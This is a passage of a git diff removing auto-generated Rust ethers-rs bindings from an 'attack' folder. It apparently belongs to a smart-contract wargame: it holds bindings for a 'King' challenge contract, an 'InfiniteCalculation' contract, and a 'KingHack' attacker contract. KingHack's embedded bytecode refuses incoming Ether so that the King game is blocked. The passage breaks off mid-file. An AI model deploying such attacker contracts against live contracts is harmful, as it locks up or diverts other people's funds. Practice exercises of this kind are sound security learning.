\x01`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\x95W`\0\x80\xFD[Pa\0\x9Ea\0\xA0V[\0[`\x01T`@Q\x7FN\x1CY\x14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90cN\x1CY\x14\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x0BW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x1FW=`\0\x80>=`\0\xFD[PPPPV\xFE\xA2dipfsX\"\x12 \xB1\xFC\xF5\xE8\xE9\xDF\xAE\x0B\x98\xD7h\xC1|\xF8\xD9\x1E<\xF8\x10\xA3\xDE\xE3Qd\x82y\x0F\xDC0o\x06^dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static INFINITECALCULATION_DEPLOYED_BYTECODE: - ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct InfiniteCalculation(::ethers::contract::Contract); - impl ::core::clone::Clone for InfiniteCalculation { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for InfiniteCalculation { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for InfiniteCalculation { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for InfiniteCalculation { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(InfiniteCalculation)) - .field(&self.address()) - .finish() - } - } - impl InfiniteCalculation { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - INFINITECALCULATION_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - INFINITECALCULATION_ABI.clone(), - INFINITECALCULATION_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `boom` (0xa169ce09) - /// function - pub fn boom( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([161, 105, 206, 9], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for InfiniteCalculation - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `boom` function with signature `boom()` and selector - /// `0xa169ce09` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "boom", abi = "boom()")] - pub struct BoomCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum InfiniteCalculationCalls { - Boom(BoomCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for InfiniteCalculationCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Boom(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for InfiniteCalculationCalls { - fn encode(self) -> Vec { - match self { - Self::Boom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for InfiniteCalculationCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Boom(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for InfiniteCalculationCalls { - fn from(value: BoomCall) -> Self { Self::Boom(value) } - } - impl ::core::convert::From for InfiniteCalculationCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/king.rs b/attack/src/abi/king.rs deleted file mode 100644 index dba6f4b..0000000 --- a/attack/src/abi/king.rs +++ /dev/null @@ -1,384 +0,0 @@ -pub use king::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod king { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("_king"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("_king"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("prize"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("prize"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: true, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static KING_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\x02\x80T`\x01`\x01`\xA0\x1B\x03\x19\x90\x81\x163\x90\x81\x17\x90\x92U`\0\x80T\x90\x91\x16\x90\x91\x17\x90U4`\x01Ua\x01\xC5\x80a\0:`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\08W`\x005`\xE0\x1C\x80c)\xCCmo\x14a\0\xEDW\x80c\x8D\xA5\xCB[\x14a\x01>W\x80c\xE3\xAC]&\x14a\x01kW`\0\x80\xFD[6a\0\xE8W`\x01T4\x10\x15\x80a\0eWP`\x02Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14[a\0nW`\0\x80\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x914\x80\x15a\x08\xFC\x02\x92\x90\x91\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\0\xB5W=`\0\x80>=`\0\xFD[P`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x163\x17\x90U4`\x01\x81\x90U\0[`\0\x80\xFD[4\x80\x15a\0\xF9W`\0\x80\xFD[P`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\x01JW`\0\x80\xFD[P`\x02Ta\x01\x14\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[4\x80\x15a\x01wW`\0\x80\xFD[Pa\x01\x81`\x01T\x81V[`@Q\x90\x81R` \x01a\x015V\xFE\xA2dipfsX\"\x12 \x9A\x01\xBF5{\x83\x1B\xB8jl3\x0C\xEA\xB6uyg\x07I\x08\xFE\x07\x1E{\x8EQeX\xFFB(\xAAdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static KING_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\08W`\x005`\xE0\x1C\x80c)\xCCmo\x14a\0\xEDW\x80c\x8D\xA5\xCB[\x14a\x01>W\x80c\xE3\xAC]&\x14a\x01kW`\0\x80\xFD[6a\0\xE8W`\x01T4\x10\x15\x80a\0eWP`\x02Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14[a\0nW`\0\x80\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x914\x80\x15a\x08\xFC\x02\x92\x90\x91\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\0\xB5W=`\0\x80>=`\0\xFD[P`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x163\x17\x90U4`\x01\x81\x90U\0[`\0\x80\xFD[4\x80\x15a\0\xF9W`\0\x80\xFD[P`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\x01JW`\0\x80\xFD[P`\x02Ta\x01\x14\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[4\x80\x15a\x01wW`\0\x80\xFD[Pa\x01\x81`\x01T\x81V[`@Q\x90\x81R` \x01a\x015V\xFE\xA2dipfsX\"\x12 \x9A\x01\xBF5{\x83\x1B\xB8jl3\x0C\xEA\xB6uyg\x07I\x08\xFE\x07\x1E{\x8EQeX\xFFB(\xAAdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static KING_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct King(::ethers::contract::Contract); - impl ::core::clone::Clone for King { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for King { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for King { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for King { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(King)) - .field(&self.address()) - .finish() - } - } - impl King { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - KING_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - KING_ABI.clone(), - KING_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `_king` (0x29cc6d6f) - /// function - pub fn king( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([41, 204, 109, 111], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `prize` (0xe3ac5d26) - /// function - pub fn prize( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([227, 172, 93, 38], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for King - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `_king` function with signature `_king()` and - /// selector `0x29cc6d6f` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "_king", abi = "_king()")] - pub struct KingCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `prize` function with signature `prize()` and - /// selector `0xe3ac5d26` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "prize", abi = "prize()")] - pub struct PrizeCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum KingCalls { - King(KingCall), - Owner(OwnerCall), - Prize(PrizeCall), - } - impl ::ethers::core::abi::AbiDecode for KingCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::King(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Prize(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for KingCalls { - fn encode(self) -> Vec { - match self { - Self::King(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Prize(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for KingCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::King(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::Prize(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for KingCalls { - fn from(value: KingCall) -> Self { Self::King(value) } - } - impl ::core::convert::From for KingCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for KingCalls { - fn from(value: PrizeCall) -> Self { Self::Prize(value) } - } - ///Container type for all return fields from the - /// `_king` function with signature `_king()` and - /// selector `0x29cc6d6f` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct KingReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `prize` function with signature `prize()` and - /// selector `0xe3ac5d26` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct PrizeReturn(pub ::ethers::core::types::U256); -} diff --git a/attack/src/abi/king_hack.rs b/attack/src/abi/king_hack.rs deleted file mode 100644 index 6ba9d5d..0000000 --- a/attack/src/abi/king_hack.rs +++ /dev/null @@ -1,358 +0,0 @@ -pub use king_hack::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod king_hack { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_forceAddress"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("give_money"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("give_money"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("to_be_the_king"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("to_be_the_king"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("who"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address payable"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: true, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static KINGHACK_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x02\xF48\x03\x80a\x02\xF4\x839\x81\x01`@\x81\x90Ra\0/\x91a\0bV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x92V[`\0` \x82\x84\x03\x12\x15a\0tW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x8BW`\0\x80\xFD[\x93\x92PPPV[a\x02S\x80a\0\xA1`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\08W`\x005`\xE0\x1C\x80cp\xD5\nk\x14a\0\xA4W\x80c\x8D\xA5\xCB[\x14a\0\xABW\x80c\xD1\x90;\xAB\x14a\x01\x01W`\0\x80\xFD[6a\0\xA6W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FI don't need your dirty money\0\0\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[\0[`\0\x80\xFD[4\x80\x15a\0\xB7W`\0\x80\xFD[P`\0Ta\0\xD8\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\xA4a\x01\x0F6`\x04a\x01\xE0V[`\0\x80\x82s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x164`@Q`\0`@Q\x80\x83\x03\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01jW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01oV[``\x91P[P\x91P\x91P\x81a\x01\xDBW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x14`$\x82\x01R\x7FFailed to send Ether\0\0\0\0\0\0\0\0\0\0\0\0`D\x82\x01R`d\x01a\0\x9BV[PPPV[`\0` \x82\x84\x03\x12\x15a\x01\xF2W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x16W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xF8\x9C\xAB\x99\xCFA\xC71\x14\x8B\x8C\xE7\xEF\x9F\xBFp\xE7\x84\xF2\xFD;D\x84\xE8\x02\xFB:\x0C\xF2\x8E+\xF5dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static KINGHACK_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\08W`\x005`\xE0\x1C\x80cp\xD5\nk\x14a\0\xA4W\x80c\x8D\xA5\xCB[\x14a\0\xABW\x80c\xD1\x90;\xAB\x14a\x01\x01W`\0\x80\xFD[6a\0\xA6W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x1D`$\x82\x01R\x7FI don't need your dirty money\0\0\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[\0[`\0\x80\xFD[4\x80\x15a\0\xB7W`\0\x80\xFD[P`\0Ta\0\xD8\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\xA4a\x01\x0F6`\x04a\x01\xE0V[`\0\x80\x82s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x164`@Q`\0`@Q\x80\x83\x03\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01jW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01oV[``\x91P[P\x91P\x91P\x81a\x01\xDBW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x14`$\x82\x01R\x7FFailed to send Ether\0\0\0\0\0\0\0\0\0\0\0\0`D\x82\x01R`d\x01a\0\x9BV[PPPV[`\0` \x82\x84\x03\x12\x15a\x01\xF2W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x16W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xF8\x9C\xAB\x99\xCFA\xC71\x14\x8B\x8C\xE7\xEF\x9F\xBFp\xE7\x84\xF2\xFD;D\x84\xE8\x02\xFB:\x0C\xF2\x8E+\xF5dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static KINGHACK_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct KingHack(::ethers::contract::Contract); - impl ::core::clone::Clone for KingHack { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for KingHack { - type Target = 